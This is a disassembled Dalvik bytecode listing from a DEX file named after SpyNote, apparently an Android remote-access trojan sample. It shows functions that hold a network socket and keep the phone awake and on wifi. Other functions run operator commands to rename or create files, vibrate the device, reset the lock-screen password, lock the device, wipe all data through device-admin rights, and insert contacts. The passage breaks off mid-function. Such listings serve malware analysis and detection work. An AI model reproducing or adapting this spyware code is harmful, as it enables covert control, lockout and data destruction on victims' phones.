File spynote_11911c2e1baaab2fbc457932fa85ba68d2b6fa66c42a64fe8254923fe35637b9.dex
Function:
    00080068
    00080068cmf0.c3b5bm90zq.patch.C11::f(cmf0.c3b5bm90zq.patch.C11, java.lang.String):
    00080078invoke-direct {v0, v1}, Lcmf0/c3b5bm90zq/patch/C11;->m(Ljava/lang/String;)V
    0008007ereturn-void
    00080068
    00080080
    00080080cmf0.c3b5bm90zq.patch.C11::f(cmf0.c3b5bm90zq.patch.C11, java.lang.String, java.lang.String):
    00080090invoke-direct {v0, v1, v2}, Lcmf0/c3b5bm90zq/patch/C11;->i(Ljava/lang/String;Ljava/lang/String;)V
    00080096return-void
    00080080
    00080098
    00080098cmf0.c3b5bm90zq.patch.C11::f(java.lang.String, java.lang.String):
    000800a8new-instance v0, Ljava/lang/Thread;
    000800acnew-instance v1, Lcmf0/c3b5bm90zq/patch/C11$33;
    000800b0invoke-direct {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11$33;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;Ljava/lang/String;)V
    000800b6invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    000800bcinvoke-virtual {v0}, Ljava/lang/Thread;->start()V
    000800c2return-void
    00080098
    000800c4
    000800c4cmf0.c3b5bm90zq.patch.C11::g(cmf0.c3b5bm90zq.patch.C11):
    000800d4invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C11;->m()V
    000800dareturn-void
    000800c4
    000800dc
    000800dccmf0.c3b5bm90zq.patch.C11::g(cmf0.c3b5bm90zq.patch.C11, java.lang.String):
    000800ecinvoke-direct {v0, v1}, Lcmf0/c3b5bm90zq/patch/C11;->l(Ljava/lang/String;)V
    000800f2return-void
    000800dc
    000800f4
    000800f4cmf0.c3b5bm90zq.patch.C11::g(cmf0.c3b5bm90zq.patch.C11, java.lang.String, java.lang.String):
    00080104invoke-direct {v0, v1, v2}, Lcmf0/c3b5bm90zq/patch/C11;->l(Ljava/lang/String;Ljava/lang/String;)V
    0008010areturn-void
    000800f4
    0008010c
    0008010ccmf0.c3b5bm90zq.patch.C11::g(java.lang.String, java.lang.String):
    0008011cnew-instance v0, Ljava/lang/Thread;
    00080120new-instance v1, Lcmf0/c3b5bm90zq/patch/C11$35;
    00080124invoke-direct {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11$35;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;Ljava/lang/String;)V
    0008012ainvoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    00080130invoke-virtual {v0}, Ljava/lang/Thread;->start()V
    00080136return-void
    0008010c
    00080138
    00080138cmf0.c3b5bm90zq.patch.C11::h():
    00080148sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->B:Ljava/net/Socket;
    0008014creturn-object v0
    00080138
    0008014e
    0008014e // align 0x10
    00080150
    00080150cmf0.c3b5bm90zq.patch.C11::h(cmf0.c3b5bm90zq.patch.C11):
    00080160invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C11;->q()V
    00080166return-void
    00080150
    00080168
    00080168cmf0.c3b5bm90zq.patch.C11::h(cmf0.c3b5bm90zq.patch.C11, java.lang.String):
    00080178invoke-direct {v0, v1}, Lcmf0/c3b5bm90zq/patch/C11;->q(Ljava/lang/String;)V
    0008017ereturn-void
    00080168
    00080180
    00080180cmf0.c3b5bm90zq.patch.C11::h(cmf0.c3b5bm90zq.patch.C11, java.lang.String, java.lang.String):
    00080190invoke-direct {v0, v1, v2}, Lcmf0/c3b5bm90zq/patch/C11;->k(Ljava/lang/String;Ljava/lang/String;)V
    00080196return-void
    00080180
    00080198
    00080198cmf0.c3b5bm90zq.patch.C11::h(java.lang.String, java.lang.String):
    000801a8new-instance v0, Ljava/lang/Thread;
    000801acnew-instance v1, Lcmf0/c3b5bm90zq/patch/C11$2;
    000801b0invoke-direct {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11$2;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;Ljava/lang/String;)V
    000801b6invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    000801bcinvoke-virtual {v0}, Ljava/lang/Thread;->start()V
    000801c2return-void
    00080198
    000801c4
    000801c4cmf0.c3b5bm90zq.patch.C11::i(cmf0.c3b5bm90zq.patch.C11):
    000801d4iget-wide v0, v2, Lcmf0/c3b5bm90zq/patch/C11;->Q:J
    000801d8return-wide v0
    000801c4
    000801da
    000801da // align 0x4
    000801dc
    000801dccmf0.c3b5bm90zq.patch.C11::i():
    000801ecsget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->N:Landroid/os/PowerManager$WakeLock;
    000801f0return-object v0
    000801dc
    000801f2
    000801f2 // align 0x4
    000801f4
    000801f4cmf0.c3b5bm90zq.patch.C11::i(cmf0.c3b5bm90zq.patch.C11, java.lang.String):
    00080204invoke-direct {v0, v1}, Lcmf0/c3b5bm90zq/patch/C11;->p(Ljava/lang/String;)V
    0008020areturn-void
    000801f4
    0008020c
    0008020ccmf0.c3b5bm90zq.patch.C11::i(cmf0.c3b5bm90zq.patch.C11, java.lang.String, java.lang.String):
    0008021cinvoke-direct {v0, v1, v2}, Lcmf0/c3b5bm90zq/patch/C11;->n(Ljava/lang/String;Ljava/lang/String;)V
    00080222return-void
    0008020c
    00080224
    00080224cmf0.c3b5bm90zq.patch.C11::i(java.lang.String, java.lang.String):
    00080234const-wide/16 v0, 0x53
    00080238const-wide/16 v2, 0xe
    0008023cnew-instance v4, Ljava/io/File;
    00080240invoke-direct {v4, v7}, Ljava/io/File;-><init>(Ljava/lang/String;)V
    00080246invoke-virtual {v4}, Ljava/io/File;->exists()Z
    0008024cmove-result v5
    0008024eif-eqz v5, :cond_18
    00080252new-instance v7, Ljava/io/File;
    00080256invoke-direct {v7, v8}, Ljava/io/File;-><init>(Ljava/lang/String;)V
    0008025cinvoke-virtual {v4, v7}, Ljava/io/File;->renameTo(Ljava/io/File;)Z
    00080262goto :goto_8d
    00080264new-instance v8, Ljava/lang/StringBuilder;
    00080268invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
    0008026esget-wide v4, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00080272invoke-static {v4, v5, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00080278move-result-object v4
    0008027ainvoke-virtual {v8, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080280sget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00080284invoke-virtual {v8, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008028asget-wide v4, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008028einvoke-static {v4, v5, v0, v1}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00080294move-result-object v4
    00080296invoke-virtual {v8, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008029csget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000802a0invoke-virtual {v8, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000802a6const-string v4, "File Not Found:"
    000802aainvoke-virtual {v8, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000802b0invoke-virtual {v8, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000802b6sget-object v7, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000802bainvoke-virtual {v8, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000802c0const-string v7, "null"
    000802c4invoke-virtual {v8, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000802cainvoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    000802d0move-result-object v7
    000802d2invoke-static {v7}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    000802d8goto :goto_8d
    000802damove-exception v7
    000802dcnew-instance v8, Ljava/lang/StringBuilder;
    000802e0invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
    000802e6sget-wide v4, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    000802eainvoke-static {v4, v5, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    000802f0move-result-object v2
    000802f2invoke-virtual {v8, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000802f8sget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000802fcinvoke-virtual {v8, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080302sget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00080306invoke-static {v2, v3, v0, v1}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    0008030cmove-result-object v0
    0008030einvoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080314sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00080318invoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008031einvoke-virtual {v7}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
    00080324move-result-object v7
    00080326invoke-virtual {v8, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008032csget-object v7, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00080330invoke-virtual {v8, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080336const-string v7, "null"
    0008033ainvoke-virtual {v8, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080340invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00080346move-result-object v7
    00080348invoke-static {v7}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    0008034ereturn-void
    00080224
    00080350
    00080350 struct try_item
    00080350 start_addr uint32 0x8023c
    00080354 insn_count int 78
    00080356 handler_off uint16 0x80359
    00080358
    00080358 struct encoded_catch_handler_list
    00080358 size int 1
    00080359
    00080359 struct encoded_catch_handler ← 0x80356
    00080359 size int64 1
    0008035a handlers[0].type_idx int 0x5994
    0008035c handlers[0].addr uint32 0x802da
    0008035d
    0008035d // align 0x10
    00080360
    00080360cmf0.c3b5bm90zq.patch.C11::j(cmf0.c3b5bm90zq.patch.C11):
    00080370iget-wide v0, v2, Lcmf0/c3b5bm90zq/patch/C11;->R:J
    00080374return-wide v0
    00080360
    00080376
    00080376 // align 0x8
    00080378
    00080378cmf0.c3b5bm90zq.patch.C11::j():
    00080388sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->M:Landroid/net/wifi/WifiManager$WifiLock;
    0008038creturn-object v0
    00080378
    0008038e
    0008038e // align 0x10
    00080390
    00080390cmf0.c3b5bm90zq.patch.C11::j(cmf0.c3b5bm90zq.patch.C11, java.lang.String):
    000803a0invoke-direct {v0, v1}, Lcmf0/c3b5bm90zq/patch/C11;->s(Ljava/lang/String;)V
    000803a6return-void
    00080390
    000803a8
    000803a8cmf0.c3b5bm90zq.patch.C11::j(java.lang.String):
    000803b8invoke-static {v4}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
    000803bemove-result-object v4
    000803c0invoke-virtual {v4}, Ljava/lang/Integer;->intValue()I
    000803c6move-result v4
    000803c8const-string v0, "vibrator"
    000803ccinvoke-virtual {v3, v0}, Lcmf0/c3b5bm90zq/patch/C11;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    000803d2move-result-object v0
    000803d4check-cast v0, Landroid/os/Vibrator;
    000803d8iput-object v0, v3, Lcmf0/c3b5bm90zq/patch/C11;->S:Landroid/os/Vibrator;
    000803dciget-object v0, v3, Lcmf0/c3b5bm90zq/patch/C11;->S:Landroid/os/Vibrator;
    000803e0if-eqz v0, :cond_1c
    000803e4iget-object v0, v3, Lcmf0/c3b5bm90zq/patch/C11;->S:Landroid/os/Vibrator;
    000803e8int-to-long v1, v4
    000803eainvoke-virtual {v0, v1, v2}, Landroid/os/Vibrator;->vibrate(J)V
    000803f0return-void
    000803a8
    000803f2
    000803f2 struct code_item_padding
    000803f2 padding uint16 0x0000
    000803f4
    000803f4 struct try_item
    000803f4 start_addr uint32 0x803b8
    000803f8 insn_count int 28
    000803fa handler_off uint16 0x803fd
    000803fc
    000803fc struct encoded_catch_handler_list
    000803fc size int 1
    000803fd
    000803fd struct encoded_catch_handler ← 0x803fa
    000803fd size int64 1
    000803fe handlers[0].type_idx int 0x5994
    00080400 handlers[0].addr uint32 0x803f0
    00080401
    00080401 // align 0x4
    00080404
    00080404cmf0.c3b5bm90zq.patch.C11::j(java.lang.String, java.lang.String):
    00080414const-wide/16 v0, 0x53
    00080418const-wide/16 v2, 0xe
    0008041cnew-instance v4, Ljava/io/File;
    00080420invoke-direct {v4, v7}, Ljava/io/File;-><init>(Ljava/lang/String;)V
    00080426invoke-virtual {v4}, Ljava/io/File;->exists()Z
    0008042cmove-result v5
    0008042eif-nez v5, :cond_20
    00080432const-string v7, "True"
    00080436invoke-virtual {v8, v7}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
    0008043cmove-result v7
    0008043eif-eqz v7, :cond_1c
    00080442invoke-virtual {v4}, Ljava/io/File;->mkdirs()Z
    00080448goto/16 :goto_95
    0008044cinvoke-virtual {v4}, Ljava/io/File;->createNewFile()Z
    00080452goto :goto_95
    00080454new-instance v8, Ljava/lang/StringBuilder;
    00080458invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
    0008045esget-wide v4, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00080462invoke-static {v4, v5, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00080468move-result-object v4
    0008046ainvoke-virtual {v8, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080470sget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00080474invoke-virtual {v8, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008047asget-wide v4, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008047einvoke-static {v4, v5, v0, v1}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00080484move-result-object v4
    00080486invoke-virtual {v8, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008048csget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00080490invoke-virtual {v8, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080496const-string v4, "File exists:"
    0008049ainvoke-virtual {v8, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000804a0invoke-virtual {v8, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000804a6sget-object v7, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000804aainvoke-virtual {v8, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000804b0const-string v7, "null"
    000804b4invoke-virtual {v8, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000804bainvoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    000804c0move-result-object v7
    000804c2invoke-static {v7}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    000804c8goto :goto_95
    000804camove-exception v7
    000804ccnew-instance v8, Ljava/lang/StringBuilder;
    000804d0invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
    000804d6sget-wide v4, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    000804dainvoke-static {v4, v5, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    000804e0move-result-object v2
    000804e2invoke-virtual {v8, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000804e8sget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000804ecinvoke-virtual {v8, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000804f2sget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    000804f6invoke-static {v2, v3, v0, v1}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    000804fcmove-result-object v0
    000804feinvoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080504sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00080508invoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008050einvoke-virtual {v7}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
    00080514move-result-object v7
    00080516invoke-virtual {v8, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008051csget-object v7, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00080520invoke-virtual {v8, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080526const-string v7, "null"
    0008052ainvoke-virtual {v8, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080530invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00080536move-result-object v7
    00080538invoke-static {v7}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    0008053ereturn-void
    00080404
    00080540
    00080540 struct try_item
    00080540 start_addr uint32 0x8041c
    00080544 insn_count int 86
    00080546 handler_off uint16 0x80549
    00080548
    00080548 struct encoded_catch_handler_list
    00080548 size int 1
    00080549
    00080549 struct encoded_catch_handler ← 0x80546
    00080549 size int64 1
    0008054a handlers[0].type_idx int 0x5994
    0008054c handlers[0].addr uint32 0x804ca
    0008054d
    0008054d // align 0x10
    00080550
    00080550cmf0.c3b5bm90zq.patch.C11::k():
    00080560sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->O:Ljava/lang/Object;
    00080564return-object v0
    00080550
    00080566
    00080566 // align 0x8
    00080568
    00080568cmf0.c3b5bm90zq.patch.C11::k(cmf0.c3b5bm90zq.patch.C11):
    00080578iget-object v0, v0, Lcmf0/c3b5bm90zq/patch/C11;->P:Ljava/lang/Object;
    0008057creturn-object v0
    00080568
    0008057e
    0008057e // align 0x10
    00080580
    00080580cmf0.c3b5bm90zq.patch.C11::k(cmf0.c3b5bm90zq.patch.C11, java.lang.String):
    00080590invoke-direct {v0, v1}, Lcmf0/c3b5bm90zq/patch/C11;->k(Ljava/lang/String;)V
    00080596return-void
    00080580
    00080598
    00080598cmf0.c3b5bm90zq.patch.C11::k(java.lang.String):
    000805a8new-instance v0, Landroid/os/Handler;
    000805acinvoke-static {}, Landroid/os/Looper;->getMainLooper()Landroid/os/Looper;
    000805b2move-result-object v1
    000805b4invoke-direct {v0, v1}, Landroid/os/Handler;-><init>(Landroid/os/Looper;)V
    000805banew-instance v1, Lcmf0/c3b5bm90zq/patch/C11$32;
    000805beinvoke-direct {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11$32;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;)V
    000805c4invoke-virtual {v0, v1}, Landroid/os/Handler;->post(Ljava/lang/Runnable;)Z
    000805careturn-void
    00080598
    000805cc
    000805cccmf0.c3b5bm90zq.patch.C11::k(java.lang.String, java.lang.String):
    000805dcnew-instance v0, Lcmf0/c3b5bm90zq/patch/c;
    000805e0invoke-direct {v0, v5}, Lcmf0/c3b5bm90zq/patch/c;-><init>(Landroid/content/Context;)V
    000805e6iput-object v0, v5, Lcmf0/c3b5bm90zq/patch/C11;->l:Lcmf0/c3b5bm90zq/patch/c;
    000805eaiget-object v0, v5, Lcmf0/c3b5bm90zq/patch/C11;->l:Lcmf0/c3b5bm90zq/patch/c;
    000805eeinvoke-virtual {v0}, Lcmf0/c3b5bm90zq/patch/c;->a()Z
    000805f4move-result v0
    000805f6if-eqz v0, :cond_76
    000805faconst-string v0, "device_policy"
    000805feinvoke-virtual {v5, v0}, Lcmf0/c3b5bm90zq/patch/C11;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    00080604move-result-object v0
    00080606check-cast v0, Landroid/app/admin/DevicePolicyManager;
    0008060aiput-object v0, v5, Lcmf0/c3b5bm90zq/patch/C11;->D:Landroid/app/admin/DevicePolicyManager;
    0008060einvoke-static {v6}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
    00080614move-result v6
    00080616packed-switch v6, :pswitch_data_78
    0008061cgoto :goto_76
    0008061econst-string v6, "null"
    00080622if-eq v7, v6, :cond_76
    00080626if-eqz v7, :cond_76
    0008062ainvoke-virtual {v7}, Ljava/lang/String;->trim()Ljava/lang/String;
    00080630move-result-object v6
    00080632const-string v0, ""
    00080636if-eq v6, v0, :cond_76
    0008063aiget-object v6, v5, Lcmf0/c3b5bm90zq/patch/C11;->D:Landroid/app/admin/DevicePolicyManager;
    0008063einvoke-virtual {v7}, Ljava/lang/String;->trim()Ljava/lang/String;
    00080644move-result-object v0
    00080646const/4 v1, 0x1
    00080648invoke-virtual {v6, v0, v1}, Landroid/app/admin/DevicePolicyManager;->resetPassword(Ljava/lang/String;I)Z
    0008064emove-result v6
    00080650new-instance v0, Ljava/lang/StringBuilder;
    00080654invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
    0008065asget-wide v1, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008065econst-wide/16 v3, 0x50
    00080662invoke-static {v1, v2, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00080668move-result-object v1
    0008066ainvoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080670sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00080674invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008067ainvoke-virtual {v7}, Ljava/lang/String;->trim()Ljava/lang/String;
    00080680move-result-object v7
    00080682invoke-virtual {v0, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080688sget-object v7, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    0008068cinvoke-virtual {v0, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00080692invoke-static {v6}, Ljava/lang/Boolean;->toString(Z)Ljava/lang/String;
    00080698move-result-object v6
    0008069ainvoke-virtual {v0, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000806a0invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    000806a6move-result-object v6
    000806a8invoke-static {v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    000806aegoto :goto_76
    000806b0iget-object v6, v5, Lcmf0/c3b5bm90zq/patch/C11;->D:Landroid/app/admin/DevicePolicyManager;
    000806b4invoke-virtual {v6}, Landroid/app/admin/DevicePolicyManager;->lockNow()V
    000806bagoto :goto_76
    000806bciget-object v6, v5, Lcmf0/c3b5bm90zq/patch/C11;->D:Landroid/app/admin/DevicePolicyManager;
    000806c0const/4 v7, 0x0
    000806c2invoke-virtual {v6, v7}, Landroid/app/admin/DevicePolicyManager;->wipeData(I)V
    000806c8return-void
    000806canop
    000806cc.packed-switch 0x0
    000805cc
    000806e0
    000806e0 struct try_item
    000806e0 start_addr uint32 0x805dc
    000806e4 insn_count int 118
    000806e6 handler_off uint16 0x806e9
    000806e8
    000806e8 struct encoded_catch_handler_list
    000806e8 size int 1
    000806e9
    000806e9 struct encoded_catch_handler ← 0x806e6
    000806e9 size int64 1
    000806ea handlers[0].type_idx int 0x5994
    000806ec handlers[0].addr uint32 0x806c8
    000806ed
    000806ed // align 0x10
    000806f0
    000806f0cmf0.c3b5bm90zq.patch.C11::l(cmf0.c3b5bm90zq.patch.C11):
    00080700iget-object v0, v0, Lcmf0/c3b5bm90zq/patch/C11;->C:Ljava/io/InputStreamReader;
    00080704return-object v0
    000806f0
    00080706
    00080706 // align 0x8
    00080708
    00080708cmf0.c3b5bm90zq.patch.C11::l():
    00080718sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->aa:Ljava/lang/Object;
    0008071creturn-object v0
    00080708
    0008071e
    0008071e // align 0x10
    00080720
    00080720cmf0.c3b5bm90zq.patch.C11::l(cmf0.c3b5bm90zq.patch.C11, java.lang.String):
    00080730invoke-direct {v0, v1}, Lcmf0/c3b5bm90zq/patch/C11;->j(Ljava/lang/String;)V
    00080736return-void
    00080720
    00080738
    00080738cmf0.c3b5bm90zq.patch.C11::l(java.lang.String):
    00080748new-instance v0, Ljava/lang/Thread;
    0008074cnew-instance v1, Lcmf0/c3b5bm90zq/patch/C11$9;
    00080750invoke-direct {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/C11$9;-><init>(Lcmf0/c3b5bm90zq/patch/C11;Ljava/lang/String;)V
    00080756invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
    0008075cinvoke-virtual {v0}, Ljava/lang/Thread;->start()V
    00080762return-void
    00080738
    00080764
    00080764cmf0.c3b5bm90zq.patch.C11::l(java.lang.String, java.lang.String):
    00080774new-instance v0, Ljava/util/ArrayList;
    00080778invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
    0008077esget-object v1, Landroid/provider/ContactsContract$RawContacts;->CONTENT_URI:Landroid/net/Uri;
    00080782invoke-static {v1}, Landroid/content/ContentProviderOperation;->newInsert(Landroid/net/Uri;)Landroid/content/ContentProviderOperation$Builder;
    00080788move-result-object v1
    0008078aconst-string v2, "account_type"
    0008078econst/4 v3, 0x0
    00080790invoke-virtual {v1, v2, v3}, Landroid/content/ContentProviderOperation$Builder;->withValue(Ljava/lang/String;Ljava/lang/Object;)Landroid/content/ContentProviderOperation$Builder;
    00080796move-result-object v1
    00080798const-string v2, "account_name"
    0008079cinvoke-virtual {v1, v2, v3}, Landroid/content/ContentProviderOperation$Builder;->withValue(Ljava/lang/String;Ljava/lang/Object;)Landroid/content/ContentProviderOperation$Builder;
    000807a2move-result-object v1
    000807a4invoke-virtual {v1}, Landroid/content/ContentProviderOperation$Builder;->build()Landroid/content/ContentProviderOperation;
    000807aamove-result-object v1
    000807acinvoke-virtual {v0, v1}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
    000807b2sget-object v1, Landroid/provider/ContactsContract$Data;->CONTENT_URI:Landroid/net/Uri;
    000807b6invoke-static {v1}, Landroid/content/ContentProviderOperation;->newInsert(Landroid/net/Uri;)Landroid/content/ContentProviderOperation$Builder;
    000807bcmove-result-object v1
    000807beconst-string v2, "raw_contact_id"
    000807c2const/4 v3, 0x0
    000807c4invoke-virtual {v1, v2, v3}, Landroid/content/ContentProviderOperation$Builder;->withValueBackReference(Ljava/lang/String;I)Landroid/content/ContentProviderOperation$Builder;
    000807camove-result-object v1
    000807ccconst-string v2, "mimetype"
    000807d0const-string v4, "vnd.android.cursor.item/name"
    000807d4invoke-virtual {v1, v2, v4}, Landroid/content/ContentProviderOperation$Builder;->withValue(Ljava/lang/String;Ljava/lang/Object;)Landroid/content/ContentProviderOperation$Builder;
    000807damove-result-object v1
    000807dcconst-string v2, "data1"
    000807e0invoke-virtual {v1, v2, v6}, Landroid/content/ContentProviderOperation$Builder;->withValue(Ljava/lang/String;Ljava/lang/Object;)Landroid/content/ContentProviderOperation$Builder;
    000807e6move-result-object v6
    000807e8invoke-virtual {v6}, Landroid/content/ContentProviderOperation$Builder;->build()Landroid/content/ContentProviderOperation;
    000807eemove-result-object v6
    000807f0invoke-virtual {v0, v6}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
    000807f6sget-object v6, Landroid/provider/ContactsContract$Data;->CONTENT_URI:Landroid/net/Uri;
    000807fainvoke-static {v6}, Landroid/content/ContentProviderOperation;->newInsert(Landroid/net/Uri;)Landroid/content/ContentProviderOperation$Builder;
    00080800move-result-object v6
    00080802const-string v1, "raw_contact_id"
    00080806invoke-virtual {v6, v1, v3}, Landroid/content/ContentProviderOperation$Builder;->withValueBackReference(Ljava/lang/String;I)Landroid/content/ContentProviderOperation$Builder;
    0008080cmove-result-object v6
    0008080econst-string v1, "mimetype"
    00080812const-string v2, "vnd.android.cursor.item/phone_v2"
